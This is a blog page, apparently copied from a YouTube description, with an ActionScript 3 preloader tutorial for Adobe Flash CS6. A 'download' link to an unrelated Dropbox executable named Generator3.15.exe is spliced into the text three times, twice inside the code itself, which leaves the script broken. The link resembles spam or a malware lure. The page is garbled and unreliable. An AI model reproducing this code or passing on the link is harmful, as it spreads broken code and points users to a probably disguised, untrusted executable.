How to create a PreLoader bar in Adobe flash CS6 download :

How to create a PreLoader bar in Adobe flash CS6 download :  

Below is the script for the preloader-

stop(); download :  https://www.dropbox.com/s/u5pflcl0pqixazh/Generator3.15.exe


this.addEventListener(Event.ENTER_FRAME, loading);

function loading(e:Event):void{

var total:Number = this.stage.loaderInfo.bytesTotal;
var loaded:Number = this.stage.loaderInfo.bytesLoaded;

loading_bar.scaleX = loaded/total;
loading_txt.text = Math.floor((loaded/total)*100)+ "%";

if (total == loaded){
play(); download :  https://www.dropbox.com/s/u5pflcl0pqixazh/Generator3.15.exe

this.removeEventListener(Event.ENTER_FRA­ME, loading);
}

}

***Add the following stop () in the last frame of your movie or file.

    Category download :  https://www.dropbox.com/s/u5pflcl0pqixazh/Generator3.15.exe


    Education
    License

    Standard YouTube License

Comments

Popular posts from this blog

How to build unlimited levels menu through PHP and MySQL

How to build a map of the frequency with which characters occur in a file in OCaml?

How to create timed pop-up windows using MVVM?